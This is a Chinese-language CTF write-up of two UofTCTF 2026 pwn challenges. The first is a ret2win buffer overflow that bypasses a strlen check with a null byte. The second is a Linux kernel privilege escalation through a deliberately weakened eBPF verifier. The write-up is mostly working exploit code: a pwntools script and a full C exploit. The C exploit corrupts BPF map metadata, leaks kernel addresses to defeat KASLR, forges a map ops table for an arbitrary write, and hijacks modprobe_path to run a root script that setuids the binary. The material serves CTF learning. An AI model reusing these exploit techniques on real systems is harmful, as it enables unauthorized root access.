UoftCTF2026 pwn wp by YHalo

又是一年uoft,恰巧碰上期末考试周

babybof

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

简单的签到题

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+0h] [rbp-10h] BYREF
  __int64 v5; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  *(_QWORD *)s = 0LL;
  v5 = 0LL;
  puts("What is your name: ");
  gets(s);
  if ( strlen(s) > 0xE )
  {
    puts("Thats suspicious.");
    exit(1);
  }
  printf("Hi, %s!\n", s);
  return 0;
}

gets()函数造成栈溢出,但是有个 strlen(s) > 0xE的检查

strlen遇到b”\x00″会截断,继续往后写就会绕过这个检查

然后覆盖返回地址到win()后门,其中注意下对齐就行

0x000000000040101a : ret

EXP

from pwn import *
context.arch = "amd64"
context.log_level = "debug"
io = process("./chall")
offset = 24
ret = 0x40101A
elf=ELF("./chall")
win=0x4011f6
payload = b"A" * 8
payload += b"\x00"
payload += b"B" * (offset - len(payload))         
payload += p64(ret)
payload += p64(win)
io.sendlineafter(b"What is your name:", payload)
io.interactive()

extended-eBPF

一道内核利用题目

start.qemu.sh

#!/bin/sh
exec qemu-system-x86_64 \
    -m 128M  \
    -smp 1 \
    -cpu qemu64,+smep,+smap \
    -kernel bzImage \
    -initrd initramfs.cpio.gz \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 quiet kaslr panic=0 oops=panic"

smep和smap还有kaslr

题目给了chall.patch

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 24ae8f33e5d7..e5641845ecc0 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -13030,7 +13030,7 @@ static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,
 static bool can_skip_alu_sanitation(const struct bpf_verifier_env *env,
 				    const struct bpf_insn *insn)
 {
-	return env->bypass_spec_v1 || BPF_SRC(insn->code) == BPF_K;
+	return true;
 }
 
 static int update_alu_sanitation_state(struct bpf_insn_aux_data *aux,
@@ -14108,7 +14108,7 @@ static bool is_safe_to_compute_dst_reg_range(struct bpf_insn *insn,
 	case BPF_LSH:
 	case BPF_RSH:
 	case BPF_ARSH:
-		return (src_is_const && src_reg->umax_value < insn_bitness);
+		return (src_reg->umax_value < insn_bitness);
 	default:
 		return false;
 	}

可以看到它的改动:can_skip_alu_sanitation() -> true,危险 ALU 修正全跳过

还有位移量src_reg只要估计范围合法就算安全

原本src_is_const:判断位移量是不是常量,src_reg->umax_value < insn_bitness:判断位移量上界小于位宽(32位/64位),避免移位过大,这些条件都被放宽了

verifier 是内核里给程序做静态检查的组件
它会在 bpf(BPF_PROG_LOAD) 时判断:有没有越界、非法指针运算、类型不安全等

而这两句patch造成的漏洞就会让verifier误判, 看到的寄存器范围和运行时真实值分离,就能构造“verifier 以为偏移是 0,实际偏移非 0”的 map value 指针运算,打到相邻 map metadata

wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf/initramfs.cpio/initramfs/etc$ ls
cron   group-    init.d   mtab           os-release  profile    resolv.conf  shadow-
fstab  hostname  inittab  network        passwd      profile.d  services     shells
group  hosts     issue    nsswitch.conf  passwd-     protocols  shadow
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf/initramfs.cpio/initramfs/etc$ cat passwd
root:x:0:0:root:/root:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
ctf:x:1000:1000:Linux User,,,:/home/ctf:/bin/sh

登录的普通用户为ctf,并且qemu里面可以让普通用户加载 BPF

map 就是 eBPF 给的一块“内核里的小存储空间”

可以把它理解成:用户态程序可以往里面存数据、取数据,BPF 程序在内核里运行时,也可以访问它,所以它像是“用户态和 BPF 共用的一块内核内存”

比如 array map 就像:

map[0] map[1] map[2] ...

另一个 map 在内核里的对象头,也就是它的 metadata。
这些 metadata 里有很关键的字段,比如:

这个 map 有多大,它的类型是什么,它的方法表 ops 在哪

一旦这些字段被改,整个 map 的行为就会失控,后面就能做更大的读写

OOB 就是 out-of-bounds,越界。正常情况下,map_lookup_elem(oob_map) 只会给你 oob_map 自己 value 的指针。但 patch 把 verifier 搞坏后,BPF 程序里那段 shift gadget 会让 verifier 以为偏移还是 0,运行时实际上偏移变成了非 0,所以指针被挪到了旁边对象上

先越界写坏的是 victim_map 的:

  • max_entries
  • index_mask

一般+0x10:map_type

+0x18:value_size 和 max_entries

这样 victim_map 本来只能访问合法元素,之后就能用超大索引去读写“本来不属于它”的位置。于是我们从 victim_map 里泄露了两样关键东西:

  • array_map_ops
    这是内核里 array map 的函数表指针。它是个稳定的内核地址,拿到它就能算 KASLR 偏移。
  • map_ptr
    这是堆上的 map 对象地址。拿到它就知道要伪造覆写的对象大概在什么位置。

参考官方源码:

逻辑上是这 5 步:

  1. 先有最小 harness:创建 map、加载 BPF、触发 socket filter。
  2. 加漏洞 gadget:从 oob_map 出发,越界改坏 victim_map metadata。
  3. 用 victim_map 做 OOB 读,泄露 array_map_ops 和 map_ptr。
  4. 在可控内存里伪造 fake_vtable,再把 exp_map 的 metadata 改掉,让 exp_map 不再表现得像普通 array map,而是变成一个可利用的“写工具”。
  5. 计算 modprobe_path 的运行时地址,写入 /tmp/x,再触发 kernel 去执行它。

关于modprobe_path 
它是内核里的一个全局字符串,表示当内核需要调用 modprobe/helper 时,去执行哪个程序。默认一般像 /sbin/modprobe。

这题里我们把它改成 /tmp/x。然后内核一旦因为未知格式/未知协议去调用 helper,就会以 root 身份执行 /tmp/x。所以 /tmp/x 里写的是:

  • 把 /home/ctf/exp 的 owner 改成 root
  • 给 /home/ctf/exp 加 setuid

这样你再执行 /home/ctf/exp,就变成 root 了。
所以真正的提权不是modprobe 给你授权,而“你劫持了内核原本会以 root 执行的 helper 路径

举个找静态地址STATIC_MODPROBE_PATH的例子:

wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf$ curl -L --fail https://raw.githubusercontent.com/gregkh/linux/v6.12.47/scripts/extract-vmlinux -o /tmp/extract-vmlinux
chmod +x /tmp/extract-vmlinux
/tmp/extract-vmlinux /mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf/bzImage > /tmp/eebpf_vmlinux
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1695  100  1695    0     0   3711      0 --:--:-- --:--:-- --:--:--  3717

wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf$ readelf -W -S /tmp/eebpf_vmlinux | grep -E '\.rodata|\.data'
  [ 2] .rodata           PROGBITS        ffffffff81c00000 e00000 2ecb46 00  WA  0   0 4096
  [11] .data             PROGBITS        ffffffff82000000 1200000 186a40 00  WA  0   0 8192
  [14] .data..percpu     PROGBITS        0000000000000000 1400000 02db18 00  WA  0   0 4096
  [17] .init.data        PROGBITS        ffffffff82226000 1626000 098548 00  WA  0   0 8192
  [31] .data_nosave      PROGBITS        ffffffff823a1000 17a1000 000000 00   W  0   0  1
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf$ strings -t x /tmp/eebpf_vmlinux | grep '/sbin/modprobe'
12be1e0 /sbin/modprobe
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf$ python3 - <<'PY'
data_va  = 0xffffffff82000000
data_off = 0x1200000
str_off  = 0x12be1e0
print(hex(data_va + (str_off - data_off)))
PY
0xffffffff820be1e0

这就是:

STATIC_MODPROBE_PATH = 0xffffffff820be1e0

EXP.C

#include <fcntl.h>
#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include "bpf_insn.h"

/*
 * 这两个静态地址都是从这份 bzImage 解出来的 vmlinux 里算出来的:
 * - STATIC_MODPROBE_PATH: 在 .data 里找 "/sbin/modprobe" 这个字符串
 * - STATIC_ARRAY_MAP_OPS: 在 .rodata 里匹配 array_map_ops 那张函数表
 */
#define STATIC_ARRAY_MAP_OPS 0xffffffff81c1d9a0ULL
#define STATIC_MODPROBE_PATH 0xffffffff820be1e0ULL

/*
 * 这些偏移和这份内核的堆布局有关,是从 victim_map 的 OOB 窗口里量出来的。
 * 它们不是通用常量,只对这份内核编译结果生效。
 */
#define CORRUPT_STEP 0xc9ULL
#define ADJ_EXP_MAP_OPS_OFF 0x308ULL
#define ADJ_EXP_MAP_PTR_OFF (ADJ_EXP_MAP_OPS_OFF + 0x70ULL)

/* 这个是源码里能直接算出来的:offsetof(struct bpf_array, value) */
#define BPF_ARRAY_VALUE_OFF 0xf8ULL

int bpf(int cmd, union bpf_attr *attr)
{
	return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

int bpf_prog_load(union bpf_attr *attr)
{
	return bpf(BPF_PROG_LOAD, attr);
}

int bpf_map_create(uint32_t key_size, uint32_t value_size, uint32_t max_entries)
{
	union bpf_attr attr = {
		.map_type = BPF_MAP_TYPE_ARRAY,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries,
	};

	return bpf(BPF_MAP_CREATE, &attr);
}

int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t *value, uint64_t flags)
{
	union bpf_attr attr = {
		.map_fd = map_fd,
		.key = (uint64_t)&key,
		.value = (uint64_t)value,
		.flags = flags,
	};

	return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index)
{
	uint64_t value[0x150 / 8] = {};
	union bpf_attr attr = {
		.map_fd = map_fd,
		.key = (uint64_t)&key,
		.value = (uint64_t)&value,
	};

	bpf(BPF_MAP_LOOKUP_ELEM, &attr);
	return value[index];
}

uint64_t bpf_map_lookup_key(int map_fd, uint32_t key, void *value)
{
	union bpf_attr attr = {
		.map_fd = map_fd,
		.key = (uint64_t)&key,
		.value = (uint64_t)value,
	};

	return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

uint64_t bpf_map_update_key(int map_fd, uint32_t key, void *value, uint64_t flags)
{
	union bpf_attr attr = {
		.map_fd = map_fd,
		.key = (uint64_t)&key,
		.value = (uint64_t)value,
		.flags = flags,
	};

	return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

union bpf_attr *create_bpf_prog(struct bpf_insn *insns, unsigned int insn_cnt)
{
	union bpf_attr *attr = malloc(sizeof(union bpf_attr));

	attr->prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
	attr->insn_cnt = insn_cnt;
	attr->insns = (uint64_t)insns;
	attr->license = (uint64_t)"";
	return attr;
}

int socks[2] = {-1};

int attach_socket(int prog_fd)
{
	if (socks[0] == -1 && socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) {
		perror("socketpair");
		exit(1);
	}

	if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) {
		perror("setsockopt");
		exit(1);
	}

	return 0;
}

void setup_bpf_prog(struct bpf_insn *insns, size_t insn_cnt)
{
	union bpf_attr *prog = create_bpf_prog(insns, insn_cnt);
	int prog_fd = bpf_prog_load(prog);

	if (prog_fd < 0) {
		perror("prog_load");
		exit(1);
	}

	attach_socket(prog_fd);
}

void run_bpf_prog(struct bpf_insn *insns, size_t insn_cnt)
{
	int val = 0;

	setup_bpf_prog(insns, insn_cnt);
	write(socks[1], &val, sizeof(val));
}

void write_file(const char *filename, const char *content)
{
	int fd = open(filename, O_RDWR | O_CREAT, 0755);

	if (fd < 0) {
		perror("open");
		exit(1);
	}

	if (write(fd, content, strlen(content)) < 0) {
		perror("write");
		exit(1);
	}

	close(fd);
}

int main(void)
{
	setuid(0);
	if (getuid() == 0) {
		system("/bin/sh");
	}

	int oob_map = bpf_map_create(4, 0x150, 1);
	int victim_map = bpf_map_create(4, 8, 0x150 / 8);
	int exp_map = bpf_map_create(4, 8, 0x150 / 8);

	if (oob_map < 0 || victim_map < 0 || exp_map < 0) {
		perror("create_map");
		return 1;
	}

	size_t val = 1;
	bpf_map_update_elem(oob_map, 0, &val, BPF_ANY);
	printf("oob_map[0] = %p\n", (void *)bpf_map_lookup_elem(oob_map, 0, 0));

	size_t test = 0;
	memcpy(&test, "\x60\x61\x62\x63\x64\x65\x66\x67", 8);

	/*
	 * 第一步:利用 verifier 漏洞,先把旁边 victim_map 的 metadata 打坏。
	 * 打坏后:
	 * - victim_map->max_entries = 0xffffffff
	 * - victim_map->index_mask  = 0xffffffff
	 * 这样 victim_map 的 lookup/update 就变成了一个 OOB 窗口。
	 */
	struct bpf_insn kleak_prog[] = {
		BPF_MOV64_IMM(BPF_REG_0, 0),
		BPF_MOV64_IMM(BPF_REG_1, test),
		BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
		BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
		BPF_LD_MAP_FD(BPF_REG_1, oob_map),
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
		BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),

		BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
		BPF_EXIT_INSN(),

		BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
		BPF_LDX_MEM(BPF_W, BPF_REG_8, BPF_REG_7, 0),
		BPF_ALU64_IMM(BPF_AND, BPF_REG_8, 1),
		BPF_MOV64_IMM(BPF_REG_0, 1),
		/* verifier 以为 r0 还是 1,但运行时它可能变成 0 */
		BPF_ALU64_REG(BPF_ARSH, BPF_REG_0, BPF_REG_8),
		BPF_MOV64_IMM(BPF_REG_9, 1),
		/* verifier 以为 r9 变成 0,但运行时它会变成 1 */
		BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_0),
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_9, CORRUPT_STEP),
		BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
		BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
		BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
		BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
		BPF_MOV64_IMM(BPF_REG_1, 0xffffffff),
		/* 写 victim_map->max_entries */
		BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_1, 0),
		BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 7),
		/* 写 victim_map->index_mask */
		BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_1, 0),
		BPF_EXIT_INSN(),
	};

	run_bpf_prog(kleak_prog, sizeof(kleak_prog) / sizeof(kleak_prog[0]));

	uint64_t array_map_ops = 0;
	uint64_t map_ptr = 0;
	/*
	 * 第二步:利用打坏后的 victim_map 去越界读旁边 exp_map 的对象头。
	 * - +0x308 可以读到 exp_map->ops,也就是运行时的 array_map_ops
	 * - +0x308+0x70 可以读到一个稳定的对象内指针,用它反推 exp_map 基址
	 */
	printf("lookup1: %p\n", (void *)bpf_map_lookup_key(victim_map, ADJ_EXP_MAP_OPS_OFF / 8, &array_map_ops));
	printf("lookup2: %p\n", (void *)bpf_map_lookup_key(victim_map, ADJ_EXP_MAP_PTR_OFF / 8, &map_ptr));
	printf("leaked array_map_ops = %p\n", (void *)array_map_ops);
	printf("leaked heap ptr      = %p\n", (void *)map_ptr);

	/*
	 * 第三步:在可控的 map value 里伪造一张 bpf_map_ops 表。
	 * 这里面的静态地址来自本地这份 vmlinux,再用泄露出的 array_map_ops
	 * 做一次重定位,就能变成运行时可用的函数表。
	 */
	size_t fake_vtable[] = {
		0xffffffff811d39d0ULL, 0xffffffff811d4ca0ULL,
		0x0000000000000000ULL, 0xffffffff811d52c0ULL,
		0xffffffff811d3b40ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0xffffffff81197020ULL,
		0x0000000000000000ULL, 0x0000000000000000ULL,
		0xffffffff81196df0ULL, 0x0000000000000000ULL,
		0xffffffff811d3df0ULL, 0xffffffff811d5760ULL,
		0xffffffff811d3b90ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0x0000000000000000ULL,
		0xffffffff811d3da0ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0xffffffff811d4520ULL,
		0x0000000000000000ULL, 0xffffffff811d4430ULL,
		0xffffffff811d50a0ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0x0000000000000000ULL,
		0x0000000000000000ULL, 0xffffffff811d8d30ULL,
		0xffffffff811be490ULL, 0xffffffff811d3f60ULL,
		0xffffffff811d3e30ULL, 0xffffffff823e1b60ULL,
		0xffffffff81c1db00ULL,
	};

	/*
	 * 第 15 个槽位是 map_push_elem。把它改成 array_map_get_next_key() 后:
	 * BPF_MAP_UPDATE_ELEM(exp_map, value, target_addr)
	 * 会变成
	 * array_map_get_next_key(map, key=value, next_key=target_addr)
	 * 这样就能往 target_addr 写 4 个字节。
	 */
	fake_vtable[15] = 0xffffffff811d3b40ULL;

	for (int i = 0; i < (int)(sizeof(fake_vtable) / sizeof(fake_vtable[0])); i++) {
		fake_vtable[i] += array_map_ops - STATIC_ARRAY_MAP_OPS;
		bpf_map_update_key(victim_map, i, &fake_vtable[i], BPF_ANY);
	}

	val = 1ULL << 32;
	bpf_map_update_key(exp_map, 0, &val, BPF_ANY);

	/*
	 * 第四步:把旁边 exp_map 的 metadata 改成我们想要的样子:
	 * - exp_map->ops      -> 指向 fake_vtable
	 * - exp_map->map_type -> 改成 BPF_MAP_TYPE_STACK
	 *   这样 MAP_UPDATE_ELEM 会走 map_push_elem 这条路径
	 * - exp_map 的数据区 -> 指到我们可控的位置
	 */
	val = map_ptr - 0x70 - 0x400 + BPF_ARRAY_VALUE_OFF;
	bpf_map_update_key(victim_map, ADJ_EXP_MAP_OPS_OFF / 8, &val, BPF_ANY);
	val = 0xffffffff00000008ULL;
	bpf_map_update_key(victim_map, (ADJ_EXP_MAP_OPS_OFF + 0x18) / 8, &val, BPF_ANY);
	val = BPF_MAP_TYPE_STACK | 4ULL << 32;
	bpf_map_update_key(victim_map, (ADJ_EXP_MAP_OPS_OFF + 0x10) / 8, &val, BPF_ANY);
	val = map_ptr - 0x70 + BPF_ARRAY_VALUE_OFF;
	bpf_map_update_key(victim_map, (ADJ_EXP_MAP_OPS_OFF + 0x30) / 8, &val, BPF_ANY);

	/* 运行时 modprobe_path = 泄露出的 array_map_ops + 静态差值 */
	size_t modprobe_addr = array_map_ops + (STATIC_MODPROBE_PATH - STATIC_ARRAY_MAP_OPS);
	char *target = "/tmp/x";

	/* 这个函数写进去的是 index + 1,所以这里要传 目标值 - 1 */
	val = *(int *)(&target[0]) - 1;
	printf("push1: %ld\n", (long)bpf_map_update_key(exp_map, 0, &val, modprobe_addr));
	val = *(int *)(&target[4]) - 1;
	printf("push2: %ld\n", (long)bpf_map_update_key(exp_map, 0, &val, modprobe_addr + 4));

	write_file("/tmp/x",
		   "#!/bin/sh\n"
		   "/bin/chown root:root /home/ctf/exp\n"
		   "/bin/chmod u+s /home/ctf/exp\n");
	system("chmod 755 /tmp/x");
	/* 劫持 modprobe_path 后,触发一次内核以 root 身份执行 helper */
	close(socket(AF_INET, SOCK_STREAM, 255));
	system("/home/ctf/exp");
	return 0;
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇